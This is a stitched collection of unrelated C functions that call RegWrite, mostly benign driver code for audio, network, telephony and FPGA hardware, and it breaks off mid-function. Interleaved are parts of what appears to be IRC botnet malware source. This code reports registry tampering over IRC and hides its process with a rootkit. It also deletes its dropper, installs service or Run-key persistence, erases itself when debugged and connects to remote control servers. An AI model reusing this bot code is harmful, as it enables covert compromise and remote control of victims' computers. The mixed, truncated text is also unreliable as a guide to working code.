BOOL UpdateRecord(void) { BOOL bSuccess=FALSE; DWORD CurRecord; DWORD dwGTC=GetTickCount(); if (!bRecUpdated) { // If it hasnt been updated its worth checking again. CurRecord=RegQuery(rupkey.hkey,rupkey.subkey,rupkey.name,bSuccess); if (bSuccess) { if (dwGTC > CurRecord) if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC)) return TRUE; } else { if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC)) return TRUE; } } else { // If its already been updated then it will keep updating so we can skip the query. RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC); return TRUE; } return FALSE; }
static void rohm8788_Stop( void ) { fmp_close(&fmp_work); RegWrite(REG_COMMON_SETUP, 0x0F); // mute sound RegWrite(REG_MIDI_FIFO_STATUS, 0x00); // stop MIDI sequencer RegWrite(REG_ADPCM_FIFO_STATUS, 0x04); // stop ADPCM sequencer RegWrite(REG_SEQU_CTRL, 0x40); // enter standby mode AFE_TurnOffExtAmplifier(); Rohm8788_TurnOffClock(); }
AudChip_Status ExtAudChip_Play(AudChipControl *audCtrl) { uint16 repeats; Rohm8788_TurnOnClock(); AFE_TurnOnExtAmplifier(); RegWrite(REG_SEQU_CTRL, 0x00); // release standby mode kal_sleep_task(3); RegWrite(REG_SEQU_CTRL, 0x80); // enter normal mode if(fmp_open(&fmp_work, NULL)!=0) { ExtAudChip_NotifyError(); ExtAudChip_ReturnFail; } switch(audCtrl->format){ case MEDIA_FORMAT_SMF: if(fmp_cmd_setdata(&fmp_work, (uint8 *)audCtrl->melody_data, audCtrl->data_length, FMTID_SMF)!=0) { ExtAudChip_NotifyError(); ExtAudChip_ReturnFail; } if(audCtrl->repeat_times == 0) repeats = 1; else repeats = 0; break; case MEDIA_FORMAT_IMELODY: if(fmp_cmd_setdata(&fmp_work, (uint8 *)audCtrl->melody_data, audCtrl->data_length, FMTID_IMELODY)!=0) { ExtAudChip_NotifyError(); ExtAudChip_ReturnFail; } if(audCtrl->repeat_times == 0) repeats = 1; else repeats = 0; break; } if(fmp_cmd_play(&fmp_work, repeats)!=0) { ExtAudChip_NotifyError(); ExtAudChip_ReturnFail; } RegWrite(REG_MIDI_WAVEVOL, rohm_volume); ExtAudChip_ReturnSuccess; }
void ExtAudChip_Init() { ExtAudChip_SetEventHandler(rohm8788Handler); Rohm8788_SetEnv(); rohm_volume = DEFAULT_VOLUME; RegWrite(REG_COMMON_SETUP, 0x0F); // mute sound RegWrite(REG_MIDI_FIFO_STATUS, 0x00); // stop MIDI sequencer RegWrite(REG_ADPCM_FIFO_STATUS, 0x04); // stop ADPCM sequencer RegWrite(REG_SEQU_CTRL, 0x40); // enter standby mode }
void SecureRegistry(BOOL secure, void *conn, char *target, BOOL silent, BOOL verbose, BOOL loop) { IRC* irc=(IRC*)conn; int written=0,failed=0; for(int i=0;i < (sizeof(SecureReg)/sizeof(*SecureReg));i++) { if (SecureReg[i].type==REG_DWORD) { if (RegWrite(SecureReg[i].hkey, SecureReg[i].subkey, SecureReg[i].name, (secure?SecureReg[i].data1:SecureReg[i].data2))) { written++; if (!loop && verbose && !silent) irc->privmsg(target,"%s Set \"%s\\%s\\%s\" to \"%d\".",(secure?sec_title:unsec_title),(SecureReg[i].hkey==HKEY_LOCAL_MACHINE?"HKLM":"HKCU"),SecureReg[i].subkey,SecureReg[i].name,(secure?SecureReg[i].data1:SecureReg[i].data2)); } else { failed++; if (!loop && verbose && !silent) irc->privmsg(target,"%s Failed to set \"%s\\%s\\%s\" to \"%d\".",(secure?sec_title:unsec_title),(SecureReg[i].hkey==HKEY_LOCAL_MACHINE?"HKLM":"HKCU"),SecureReg[i].subkey,SecureReg[i].name,(secure?SecureReg[i].data1:SecureReg[i].data2)); } } else if (SecureReg[i].type==REG_SZ) { written++; if (RegWrite(SecureReg[i].hkey, SecureReg[i].subkey, SecureReg[i].name, (secure?SecureReg[i].sdata1:SecureReg[i].sdata2))) { if (!loop && verbose && !silent) irc->privmsg(target,"%s Set \"%s\\%s\\%s\" to \"%s\".",(secure?sec_title:unsec_title),(SecureReg[i].hkey==HKEY_LOCAL_MACHINE?"HKLM":"HKCU"),SecureReg[i].subkey,SecureReg[i].name,(secure?SecureReg[i].sdata1:SecureReg[i].sdata2)); } else { failed++; if (!loop && verbose && !silent) irc->privmsg(target,"%s Failed to set \"%s\\%s\\%s\" to \"%s\".",(secure?sec_title:unsec_title),(SecureReg[i].hkey==HKEY_LOCAL_MACHINE?"HKLM":"HKCU"),SecureReg[i].subkey,SecureReg[i].name,(secure?SecureReg[i].sdata1:SecureReg[i].sdata2)); } } } if (written==0) { if (!verbose && !silent && !loop) irc->privmsg(target,"%s Failed to %s Registry. (%.2d/%.2d)",(secure?sec_title:unsec_title),(secure?"secured":"unsecured"),written,failed); } else { if (!verbose && !silent && !loop) irc->privmsg(target,"%s Registry %s. (%.2d/%.2d)",(secure?sec_title:unsec_title),(secure?"secured":"unsecured"),written,failed); } }
/****************************************************************************** * * ae531x_WriteMacReg - write AE MAC register * * RETURNS: N/A */ void ae531x_WriteMacReg(ae531x_MAC_t *MACInfo, UINT32 reg, UINT32 data) { UINT32 addr = MACInfo->macBase+reg; RegWrite(data, addr); }
int PpeSetBindThreshold(uint32_t threshold) { /* Set reach bind rate for unbind state */ RegWrite(PPE_FOE_BNDR, threshold); return HWNAT_SUCCESS; }
AudChip_Status ExtAudChip_SetVolume(AudChipControl *audCtrl, uint8 volume) { rohm_volume = volume; RegWrite(REG_MIDI_WAVEVOL, rohm_volume); ExtAudChip_ReturnSuccess; }
/****************************************************************************** * * ae531x_WriteDmaReg - write AE DMA register * * RETURNS: N/A */ void ae531x_WriteDmaReg(ae531x_MAC_t *MACInfo, UINT32 reg, UINT32 data) { UINT32 addr = MACInfo->dmaBase+reg; RegWrite(data, addr); }
/****************************************************************************** * * ae531x_WriteMiiReg - write PHY registers via AE MAC Mii addr/data registers * * RETURNS: N/A */ void ae531x_WriteMiiReg(UINT32 phyBase, UINT32 reg, UINT32 data) { UINT32 addr = phyBase+reg; RegWrite(data, addr); }
int PpeSetAllowIPv6(uint8_t allow_ipv6) { #if defined (CONFIG_RA_HW_NAT_IPV6) uint32_t PpeFlowSet = RegRead(PPE_FLOW_SET); if (allow_ipv6) { ipv6_offload = 1; #if defined (CONFIG_HNAT_V2) PpeFlowSet |= (BIT_IPV4_DSL_EN | BIT_IPV6_6RD_EN | BIT_IPV6_3T_ROUTE_EN | BIT_IPV6_5T_ROUTE_EN); // PpeFlowSet |= (BIT_IPV6_HASH_FLAB); // flow label PpeFlowSet |= (BIT_IPV6_HASH_GREK); #else PpeFlowSet |= (BIT_IPV6_FOE_EN); #endif } else { ipv6_offload = 0; #if defined (CONFIG_HNAT_V2) PpeFlowSet &= ~(BIT_IPV4_DSL_EN | BIT_IPV6_6RD_EN | BIT_IPV6_3T_ROUTE_EN | BIT_IPV6_5T_ROUTE_EN); PpeFlowSet &= ~(BIT_IPV6_HASH_FLAB); PpeFlowSet &= ~(BIT_IPV6_HASH_GREK); #else PpeFlowSet &= ~(BIT_IPV6_FOE_EN); #endif } RegWrite(PPE_FLOW_SET, PpeFlowSet); return HWNAT_SUCCESS; #else return HWNAT_FAIL; #endif }
/******************************************************************************* Description: setup to be done before a cid transmission. Arguments: pCh - channel pointer Return: IFX_SUCCESS or IFX_ERROR Remark : setBrsCoef stores the CID sender configuration data in a global buffer, so to prevent from locking mechanism in interrupt routine when sending CID data. *******************************************************************************/ IFX_LOCAL IFX_int32_t PrepareForCid (VINETIC_CHANNEL *pCh) { VINETIC_DEVICE *pDev = pCh->pParent; IFX_uint8_t ch = (pCh->nChannel - 1); IFX_int32_t err = IFX_SUCCESS; /* set the state to prepare to protect channel from a new cid sending while an ongoing cid sending is on. */ pCh->cidSend.nState = CID_PREPARE; /* strore data into channel structure */ pCh->cidSend.nPos = 0; pCh->cidSend.pCmd [0] = CMD1_EOP | ch; pCh->cidSend.pCmd [1] = ECMD_CID_DATA; pCh->cidSend.pCmd [2] = 0; /* allow rising edge interrupts for CIS_BUF, CIS_REQ, CIS_ACT. */ pDev->regMRSRE1 [ch] &= ~SRE1_CID_MASK; err = RegWrite(pDev, (CMD1_IOP | ch), &pDev->regMRSRE1 [ch], 1, MRSRE1); /* Mask MFSRE1 CIS_REQ and CIS_BUF and unmask CIS_ACT for 1 -> 0 transition so that end of CID transmission can be reported by event. */ if (err == IFX_SUCCESS) { pDev->regMFSRE1 [ch] |= SRE1_CID_MASK; pDev->regMFSRE1 [ch] &= ~SRE1_CIS_ACT; err = RegWrite(pDev, (CMD1_IOP | ch), &pDev->regMFSRE1 [ch], 1, MFSRE1); } /* Set Buffer Request Size (CID Coeffs) */ if (err == IFX_SUCCESS) err = setBrsCoef (pCh, pCh->cidSend.nCidCnt); /* enable CID Sender */ if (err == IFX_SUCCESS) { pCh->cidSend.nState = CID_TRANSMIT; #ifdef TAPI_CID pCh->pTapiCh->TapiCidTx.nCidTxState = CID_TX_START; #endif /* TAPI_CID */ err = Dsp_SetCidSender (pCh, IFX_TRUE); } /* in case of error, restore configurations */ if (err == IFX_ERROR) { err = OnCidEnd(pCh); } return err; }
/****************************************************************************** * * ae531x_SetMacReg - set bits in AE MAC register * * RETURNS: N/A */ void ae531x_SetMacReg(ae531x_MAC_t *MACInfo, UINT32 reg, UINT32 val) { UINT32 addr = MACInfo->macBase+reg; UINT32 data = RegRead(addr); data |= val; RegWrite(data, addr); }
/****************************************************************************** * * ae531x_ClearDmaReg - clear bits in an AE DMA register * * RETURNS: N/A */ void ae531x_ClearDmaReg(ae531x_MAC_t *MACInfo, UINT32 reg, UINT32 val) { UINT32 addr = MACInfo->dmaBase+reg; UINT32 data = RegRead(addr); data &= ~val; RegWrite(data, addr); }
BOOL RegWrite(HKEY root,char *subkey,char *name,char *data,DWORD type/*=REG_SZ*/) { RQUERY rq; BOOL bret=FALSE; rq.szQuery=data; if (type==REG_SZ) bret=RegWrite(root,subkey,name,REG_SZ,rq); else if (type==REG_EXPAND_SZ) bret=RegWrite(root,subkey,name,REG_EXPAND_SZ,rq); else if (type==REG_MULTI_SZ) bret=RegWrite(root,subkey,name,REG_MULTI_SZ,rq); else bret=FALSE; return bret; }
int PpeSetDSCP_UP(uint32_t DSCP_SET, unsigned char UP) { int DSCP_UP; DSCP_UP = ((UP << 0) | (UP << 4) | (UP << 8) | (UP << 12) | (UP << 16) | (UP << 20) | (UP << 24) | (UP << 28)); /* Set DSCP to User priority mapping table */ switch (DSCP_SET) { case 0: RegWrite(DSCP0_7_MAP_UP, DSCP_UP); break; case 1: RegWrite(DSCP8_15_MAP_UP, DSCP_UP); break; case 2: RegWrite(DSCP16_23_MAP_UP, DSCP_UP); break; case 3: RegWrite(DSCP24_31_MAP_UP, DSCP_UP); break; case 4: RegWrite(DSCP32_39_MAP_UP, DSCP_UP); break; case 5: RegWrite(DSCP40_47_MAP_UP, DSCP_UP); break; case 6: RegWrite(DSCP48_55_MAP_UP, DSCP_UP); break; case 7: RegWrite(DSCP56_63_MAP_UP, DSCP_UP); break; default: break; } return HWNAT_SUCCESS; }
/** Play a local tone on one or both tone generators. \param pCh - handle to a VINETIC channel structure \param vers - chip revision \param freqA - frequency A in mHz \param freqB - frequency B in mHz, or zero if not applicable \return IFX_SUCCESS or IFX_ERROR */ IFX_int32_t Tone_TG_SetCoeff (VINETIC_CHANNEL* pCh, IFX_uint8_t vers, IFX_int32_t freqA, IFX_int32_t freqB) { IFX_int32_t ret; #ifdef VIN_V14_SUPPORT COEFF_TAB_ENTRY tab_entry; IFX_uint16_t pData [4] = {0}; #endif /* VIN_V14_SUPPORT */ switch (vers) { #ifdef VIN_V14_SUPPORT case VINETIC_V1x: tab_entry.quantVal = freqA; /* now get the coefficient from global frequency / coefficient table. result is returned in pEntry */ ret = Cram_getUnitCoef (IOSET, &tab_entry, (COEFF_TAB_ENTRY *) VINETIC_CRAM_TGFreqQuantVal_Table); if (ret != IFX_SUCCESS) return IFX_ERROR; pData[0] = LOWWORD ((IFX_uint32_t)tab_entry.CRAMcoeff); pData[1] = HIGHWORD ((IFX_uint32_t)tab_entry.CRAMcoeff); /* c1 = tab_entry.CRAMcoeff; */ if (freqB) { tab_entry.quantVal = (IFX_int32_t)freqB; ret = Cram_getUnitCoef (IOSET, &tab_entry, (COEFF_TAB_ENTRY *) VINETIC_CRAM_TGFreqQuantVal_Table); if (ret != IFX_SUCCESS) return IFX_ERROR; pData[2] = LOWWORD ((IFX_uint32_t)tab_entry.CRAMcoeff); pData[3] = HIGHWORD ((IFX_uint32_t)tab_entry.CRAMcoeff); /* c2 = tab_entry.CRAMcoeff; */ ret = RegWrite (pCh->pParent, CMD1_COP | (pCh->nChannel - 1), pData, 4, CRAM_PTG1); } else { ret = RegWrite (pCh->pParent, CMD1_COP | (pCh->nChannel - 1), pData, 2, CRAM_PTG1); } break; #endif /* VIN_V14_SUPPORT */ #ifdef VIN_V21_SUPPORT case VINETIC_V2x: /* set the frequency for the first TG */ ret = setRegVal (pCh, TG1F_REG, freqA); if (ret == IFX_SUCCESS) ret = wrReg (pCh, TG1F_REG); /* set the frequency for the second TG */ if ((ret == IFX_SUCCESS) && (freqB != 0)) { ret = setRegVal (pCh, TG2F_REG, freqB); if (ret == IFX_SUCCESS) ret = wrReg (pCh, TG2F_REG); } break; #endif /* VIN_V21_SUPPORT */ default: return IFX_ERROR; } if (ret == IFX_SUCCESS) { DSCR.value &= ~(DSCR_TG2_EN); /* data to start tone generator 1 */ DSCR.value |= (DSCR_COR8 | DSCR_PTG | DSCR_TG1_EN); if (freqB) DSCR.value |= DSCR_TG2_EN; /* call target function to set tone generator(s) */ ret = wrReg (pCh, DSCR_REG); } return ret; }
int fpga_reset_test( int fd_mem, void *mapped_base_slcr ) { static unsigned int u32_call_num=0; volatile unsigned int u32_loop=0; volatile unsigned int u32_int_type; volatile unsigned int u32_rst_num_raw; volatile unsigned int u32_rst_num_overflow=0; volatile unsigned int u32_rst_num; //volatile unsigned int *p_gpio_emio_input = (unsigned int *)0xe000a068; //volatile unsigned int *p_fpga_reset_output = (unsigned int *)0xF8000240; void *mapped_base_gpio; u32_call_num++; printf("%s runs No.%d time\n\r", __func__, u32_call_num ); /* Map GPIO register space into user space */ mapped_base_gpio = mmap(0, SIZE_GPIO, PROT_READ | PROT_WRITE, MAP_SHARED, fd_mem, BASE_ADDR_GPIO & ~MAP_MASK); if (mapped_base_gpio == (void *) -1) { printf("Can't map GPIO registers to user space.\n"); return -200; } printf("Mapped GPIO at virtual address %p.\n", mapped_base_gpio); u32_int_type = RegRead(mapped_base_gpio, OFFSET_GPIO_INT_TYPE2); if( 0xffffffff != u32_int_type ) { printf("u32_int_type 2:0x%08x,GPIO access has problem.\n\r", u32_int_type ); /* SLCR unlock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_UNLOCK, SLCR_UNLOCK_VAL ); // Caution: // Set GPIO clock. RegWrite(mapped_base_slcr, 0x12c, 0x00e44405 ); /* SLCR lock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_LOCK, SLCR_LOCK_VAL ); } else { printf("u32_int_type 2:0x%08x,GPIO access works well.\n\r", u32_int_type ); } u32_int_type = RegRead(mapped_base_gpio, OFFSET_GPIO_INT_TYPE3); if( 0xffffffff != u32_int_type ) { printf("u32_int_type 3:0x%08x,GPIO access has problem.\n\r", u32_int_type ); /* SLCR unlock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_UNLOCK, SLCR_UNLOCK_VAL ); // Caution: // Set GPIO clock. RegWrite(mapped_base_slcr, 0x12c, 0x00e44405 ); /* SLCR lock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_LOCK, SLCR_LOCK_VAL ); } else { printf("u32_int_type 3:0x%08x,GPIO access works well.\n\r", u32_int_type ); } /* SLCR unlock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_UNLOCK, SLCR_UNLOCK_VAL ); //for( u32_loop =0; u32_loop<10000000; u32_loop++ ) //for( u32_loop =0; u32_loop<1000; u32_loop++ ) { // 0xF8000240 RegWrite(mapped_base_slcr, OFFSET_SLCR_FPGA_RESET, 0x0 ); usleep(1); RegWrite(mapped_base_slcr, OFFSET_SLCR_FPGA_RESET, 0xf ); usleep(1); RegWrite(mapped_base_slcr, OFFSET_SLCR_FPGA_RESET, 0x0 ); usleep(1); u32_rst_num_raw = RegRead(mapped_base_gpio, OFFSET_GPIO_INPUT3); u32_rst_num = (u32_rst_num_raw&0xffff0000)>>16; if( 0 == (u32_loop%10000) ) { printf("Reset num raw:0x%08x, reset num:%d-%d at No.%d loop.\n\r", u32_rst_num_raw, u32_rst_num, u32_rst_num_overflow*0x10000+u32_rst_num, u32_loop ); } if( u32_rst_num >=65535 ) { printf("Reset num raw:0x%08x, reset num:%d-%d at No.%d loop.\n\r", u32_rst_num_raw, u32_rst_num, u32_rst_num_overflow*0x10000+u32_rst_num, u32_loop ); u32_rst_num_overflow++; } } printf("Reset num raw:0x%08x, reset num:%d-%d at No.%d loop.\n\r", u32_rst_num_raw, u32_rst_num, u32_rst_num_overflow*0x10000+u32_rst_num, u32_loop ); /* SLCR lock */ RegWrite(mapped_base_slcr, OFFSET_SLCR_LOCK, SLCR_LOCK_VAL ); if (munmap(mapped_base_gpio, SIZE_GPIO) == -1) { printf("Can't unmap GPIO from user space.\n"); return -200; } return 0; }
/** Start DTMF generator \param pCh - channel pointer \param pDtmfData - pointer to the DTMF data to send \param nDtmfSize - number of DTMF words to send \param nFG - frequency generation mode (0 = low, 1 = high) \param cbDtmfStatus - callback on DTMF status change (set to NULL if unused) \param bByteMode - format of pDtmfData (0 = 16bit, 1 = 8bit) \return IFX_SUCCESS/IFX_ERROR \remarks After triggering the DTMF transmission by calling VINETIC_DtmfStart, the transmission will be handled automatically. The DTMF data will be sent on interrupt request and stopped on end of transmission, error or hook event. The callback cbDtmfStatus can be used to track the status of the DTMF transmission. If bByteMode is set, the driver will convert the IFX_char_t data to DTMF words. This Mode only supports restricted DTMF signs 0 to D (no alert tones or pause). Only supports DTMF generator high level timing mode. Note : when ET = 1 : MOD = 0 , FG = 1 (ref FW Spec). If done another way, it leads to CERR in FW. */ IFX_int32_t VINETIC_DtmfStart(VINETIC_CHANNEL *pCh, IFX_uint16_t *pDtmfData, IFX_uint16_t nDtmfWords, IFX_uint32_t nFG, IFX_void_t (*cbDtmfStatus)(VINETIC_CHANNEL *pCh), IFX_boolean_t bByteMode) { #if (VIN_CFG_FEATURES & VIN_FEAT_VOICE) IFX_int32_t err; VINETIC_DEVICE *pDev = pCh->pParent; VINETIC_DTMF *pDtmf = &pCh->dtmfSend; IFX_uint8_t ch = pCh->nChannel - 1; /* Prevent simultaneous usage of generator resource */ if (++pDtmf->useCnt != 1) { pDtmf->useCnt--; return IFX_ERROR; } /* Store DTMF data in channel structure for non-blocking sending */ pDtmf->nSent = 0; pDtmf->stateCb = cbDtmfStatus; pDtmf->pData = pDtmfData; pDtmf->bByteMode = bByteMode; pDtmf->nWords = nDtmfWords; DTMF_STATUS(DTMF_START); /* Hardcoded settings, disable, ET = 0, MOD = 1, FG from user, A1 = A2 = 01 */ err = Dsp_DtmfGen(pCh, SIG_DTMGGEN_MOD | (SIG_DTMGGEN_FG & (nFG << SIG_DTMGGEN_FG_OF)) | (SIG_DTMGGEN_A1 & (0x01 << SIG_DTMGGEN_A1_OF)) | (SIG_DTMGGEN_A2 & (0x01 << SIG_DTMGGEN_A2_OF)), 0xFFF0, IFX_FALSE); if (err == IFX_SUCCESS) { pDev->pSigCh[ch].sig_dtmfgen.bit.en = 1; err = CmdWrite(pDev, pDev->pSigCh[ch].sig_dtmfgen.value, CMD_SIG_DTMFGEN_LEN); } /* Enable DTMF generator interrupts */ pDev->regMRSRE1[ch] &= ~(SRE1_DTMFG_REQ | SRE1_DTMFG_BUF | SRE1_DTMFG_ACT); pDev->regMFSRE1[ch] &= ~SRE1_DTMFG_ACT /*| SRE1_DTMFG_BUF*/; if (err == IFX_SUCCESS) { err = RegWrite(pDev, CMD1_IOP | ch, &pDev->regMRSRE1[ch],1, MRSRE1); } if (err == IFX_SUCCESS) { err = RegWrite(pDev, (CMD1_IOP | ch), &pDev->regMFSRE1[ch],1, MFSRE1); } return err; #else return IFX_ERROR; #endif /* (VIN_CFG_FEATURES & VIN_FEAT_VOICE) */ }
static void ExecuteCmd(const char const *input, const u32 base) { SendStr("\r\n", base); // Tokenize the command #define MAX_CMD_WORDS 4 char *token[MAX_CMD_WORDS]; char *cmd = (char *)input; u8 numTokens = 0; while (1) { // Skip leading whitespace. while ((*cmd) && isspace(*cmd)) cmd++; // If we get here and we are at the end of the string, then the last // token must have had trailing white spaces. Let's ignore them if (!(*cmd)) break; // If we have exceeded the maximum number of allowable tokens, then // return as error if (numTokens >= MAX_CMD_WORDS) { SendStr(NO_ANSWER, base); return; } // Store the token. token[numTokens] = cmd; numTokens++; // Everything that isn't a whitespace is part of the token. Let's make // sure it is in UPPER CASE while ((*cmd) && (!isspace(*cmd))) { *cmd = toupper(*cmd); cmd++; } // When we get here, we are just past the current token, either because // it ended on a whitespace or because it is the end of the user input. // If the former, then let's force a null termination for that token. If // the latter, then we are done tokenizing. if (!(*cmd)) break; *cmd = '\0'; cmd++; } if (0 == numTokens) { SendStr(NO_ANSWER, base); return; } // Process the command switch (token[0][0]) { case 'R': { if (2 != numTokens) SendStr(NO_ANSWER, base); else { u32 regAddr; u32 regValue; if (StrToU32(token[1], ®Addr) && RegRead(regAddr, ®Value)) { SendStr("Y ", base); char regValStr[9]; U32ToStr(regValue, regValStr); SendStr(regValStr, base); SendStr("\r\n", base); } else SendStr(NO_ANSWER, base); } break; } case 'W': { if (3 != numTokens) SendStr(NO_ANSWER, base); else { u32 regAddr; u32 regValue; if (StrToU32(token[1], ®Addr) && StrToU32(token[2], ®Value) && RegWrite(regAddr, regValue)) SendStr(YES_ANSWER, base); else SendStr(NO_ANSWER, base); } break; } case 'V': { SendStr("FPGA=0x", base); char versionStr[9]; FpgaRegisters * FPGARegs = (FpgaRegisters *)(REGISTER_BASE | BYPASS_DCACHE_MASK); U32ToStr(FPGARegs->fpgaVersion, versionStr); SendStr(versionStr, base); SendStr(" NIOS=0x", base); U32ToStr(NIOS_VERSION, versionStr); SendStr(versionStr, base); SendStr("\r\n", base); break; } case 'F': { if (4 != numTokens) SendStr(NO_ANSWER, base); else { u32 startAddr; u32 length; u32 checksum; StrToU32(token[1], &startAddr); StrToU32(token[2], &length); StrToU32(token[3], &checksum); // Transfer two chunks to get a full sector worth #define FLASH_SECTOR_SIZE (64*1024) #define TRANSFER_SIZE (4*1024) u8 buffer[FLASH_SECTOR_SIZE]; // Validate the requested transfer size if (length != TRANSFER_SIZE) SendStr(NO_ANSWER, base); else { u32 bufferIndex = startAddr % FLASH_SECTOR_SIZE; u32 runningSum = 0; u32 numBytesReceived = 0; // Clear the input buffer FlushRx(base); // Acknowledge that the command is good. This will tell the // sender to actually send the specified number of bytes SendStr(YES_ANSWER, base); // We must receive the correct number of bytes while (true) { while (IORD_FIFOED_AVALON_UART_STATUS(base) & FIFOED_AVALON_UART_CONTROL_RRDY_MSK) { // Read the Uart u8 rx = IORD_FIFOED_AVALON_UART_RXDATA(base); runningSum += rx; buffer[bufferIndex++] = rx; numBytesReceived++; if (numBytesReceived >= length) break; } if (numBytesReceived >= length) break; } // check the checksum if (runningSum != checksum) SendStr(NO_ANSWER, base); else { // If we don't have a full sector worth of data, then ACK and wait for more if (bufferIndex != FLASH_SECTOR_SIZE) SendStr(YES_ANSWER, base); else { u32 totalWriteBufferChecksum = 0; int i; for (i=0; i<sizeof(buffer); i++) { totalWriteBufferChecksum += buffer[i]; } alt_flash_fd* fd = alt_flash_open_dev(SERIAL_FLASH_NAME); if (NULL == fd) SendStr(NO_ANSWER, base); else { u32 sectorStartAddr = (startAddr / FLASH_SECTOR_SIZE) * FLASH_SECTOR_SIZE; if (0 == alt_write_flash(fd, sectorStartAddr, buffer, length)) { memset(buffer, 0x99, sizeof(buffer)); if (0 == alt_read_flash(fd, sectorStartAddr, buffer, sizeof(buffer))) { u32 totalReadBufferChecksum = 0; for (i=0; i<sizeof(buffer); i++) { totalReadBufferChecksum += buffer[i]; } if (totalReadBufferChecksum == totalWriteBufferChecksum) SendStr(YES_ANSWER, base); else SendStr(NO_ANSWER, base); } else SendStr(NO_ANSWER, base); } else SendStr(NO_ANSWER, base); alt_flash_close_dev(fd); } } } } } break; } default: SendStr(NO_ANSWER, base); break; } return; }
DWORD WINAPI BotThread(LPVOID param) { for (int m=0;m<6;m++) { if(!(mutex=CreateMutex(NULL, FALSE, mutexhandle))) Sleep(5000); else break; } // if (WaitForSingleObject(CreateMutex(NULL, TRUE, mutexhandle), 30000) == WAIT_TIMEOUT) // ExitProcess(0); addthread(MAIN_THREAD,str_main_thread,main_title); #ifndef _DEBUG #ifndef NO_MELT char *melt=RegQuery(meltkey.hkey,meltkey.subkey,meltkey.name); if (melt) { SetFileAttributes(melt,FILE_ATTRIBUTE_NORMAL); int tries=0; while (FileExists(melt) && tries<3) { DeleteFile(melt); tries++; Sleep(2000); } RegDelete(meltkey.hkey,meltkey.subkey,meltkey.name); } #endif // NO_MELT #endif // _DEBUG srand(GetTickCount()); dwstarted=GetTickCount(); #ifndef NO_VERSION_REPLY curversion=rand()%(versionsize); #ifdef _DEBUG printf("Generated current_version: %d (%d), %s.\n",curversion,versionsize,versionlist[curversion]); #endif #endif WSADATA wsadata; if (fWSAStartup(MAKEWORD(2,2),&wsadata)!=0) ExitProcess(-2); #ifndef _DEBUG #ifndef NO_FCONNECT char readbuf[1024]; HINTERNET httpopen, openurl; DWORD read; httpopen=fInternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); openurl=fInternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL); if (!openurl) { fInternetCloseHandle(httpopen); fInternetCloseHandle(openurl); } fInternetReadFile(openurl,readbuf,sizeof(readbuf),&read); fInternetCloseHandle(httpopen); fInternetCloseHandle(openurl); #endif // NO_FCONNECT #endif // _DEBUG #ifndef NO_INSTALLED_TIME if (!noadvapi32) GetInstalledTime(); else sprintf(installedt,"Error"); #endif // NO_INSTALLED_TIME int i=0; DWORD id=0; #ifndef NO_RECORD_UPTIME i=addthread(RUPTIME_THREAD,str_rup_thread,main_title); threads[i].tHandle=CreateThread(NULL,0,&RecordUptimeThread,0,0,&id); #endif // NO_RECORD_UPTIME #ifndef NO_AUTO_SECURE #ifndef NO_SECURE NTHREAD secure; secure.bdata2=TRUE;//loop i=addthread(SECURE_THREAD,str_asecure_thread,sec_title); threads[i].tHandle=CreateThread(NULL,0,&SecureThread,(LPVOID)&secure,0,&id); #endif #endif // NO_AUTO_SECURE #ifndef NO_RDRIV #ifndef _DEBUG rkenabled=InitRK();//initialize fu if (rkenabled) HideMe();//hide the process #endif // _DEBUG #endif // NO_RDRIV #ifndef _DEBUG // maybe this will give the shutdown handler time to work RegWrite(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control","WaitToKillServiceTimeout","7000"); #endif //get internal ip char *ip; char hostname[256]; struct hostent *h; fgethostname(hostname, 256); h = fgethostbyname(hostname); ip = finet_ntoa(*(struct in_addr *)h->h_addr_list[0]); strncpy(inip,ip,sizeof(inip)); curserver=0; HookProtocol(&mainirc); while (mainirc.should_connect()) { if (!mainirc.is_connected()) { #ifdef _DEBUG printf("Trying to connect to: %s:%i\r\n",servers[curserver].host,servers[curserver].port); #endif #ifndef NO_FLUSHDNS FlushDNSCache(); #endif mainirc.start(servers[curserver].host,servers[curserver].port, mainirc.nickgen(NICK_TYPE,REQ_NICKLEN),mainirc.nickgen(IDENT_TYPE,REQ_IDENTLEN), mainirc.nickgen(REALN_TYPE,REQ_REALNLEN),servers[curserver].pass); mainirc.message_loop(); } else mainirc.message_loop(); Sleep(SFLOOD_DELAY); if (curserver==(serversize-1)) curserver=0; else curserver++; } // cleanup; killthreadall(); fWSACleanup(); ReleaseMutex(mutex); ExitThread(0); }
int main(int argc, char *argv[]) #endif { LoadDLLs(); #ifndef NO_DDETECT if(IsBugged()) { EraseMe(TRUE); ExitProcess(1); } #endif #ifndef NO_CRYPT decryptstrings(authsize, versionsize, serversize); #endif #ifndef NO_SERVICE SERVICE_TABLE_ENTRY servicetable[] = { {servicename, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; #endif //TODO: Error handler here #ifndef _DEBUG fSetErrorMode(SEM_NOGPFAULTERRORBOX); #endif char cfilename[MAX_PATH]; char movetopath[MAX_PATH]; char svcpath[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename)); ExpandEnvironmentStrings(movepath,movetopath,sizeof(movetopath)); sprintf(svcpath,"%s\\%s",movetopath,filename); #ifndef _DEBUG if (MoveBot(movetopath,filename)) { #ifndef NO_MELT RegWrite(meltkey.hkey,meltkey.subkey,meltkey.name,cfilename); #endif // NO_MELT #ifndef NO_SERVICE InstallService(svcpath); #else RegWrite(runkey.hkey,runkey.subkey,runkey.name,svcpath); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; ZeroMemory(&pinfo,sizeof(pinfo)); ZeroMemory(&sinfo,sizeof(sinfo)); sinfo.lpTitle = ""; sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; #ifdef _DEBUG sinfo.wShowWindow = SW_SHOW; #else sinfo.wShowWindow = SW_HIDE; #endif // _DEBUG if 